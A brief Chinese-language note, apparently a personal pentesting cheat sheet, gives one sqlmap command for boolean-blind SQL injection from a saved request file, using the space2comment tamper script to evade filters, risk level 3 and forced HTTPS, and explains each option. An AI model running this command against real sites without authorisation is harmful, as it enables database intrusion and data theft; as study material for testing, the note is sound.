python sqlmap.py -r sql.txt --batch --technique=B --tamper=space2comment --risk 3 --force-ssl

–batch 选项全部默认 不用再手动输入
–technique=B 使用布尔盲注，该参数是指出要求使用的注入方式
–tamper=space2comment使用特殊脚本，space2comment是把空格用/**/替代
–force-ssl 强制使用https，把所有的数据都用ssl加密
400报错就是因为sqlmap默认使用http，而测试的链接是https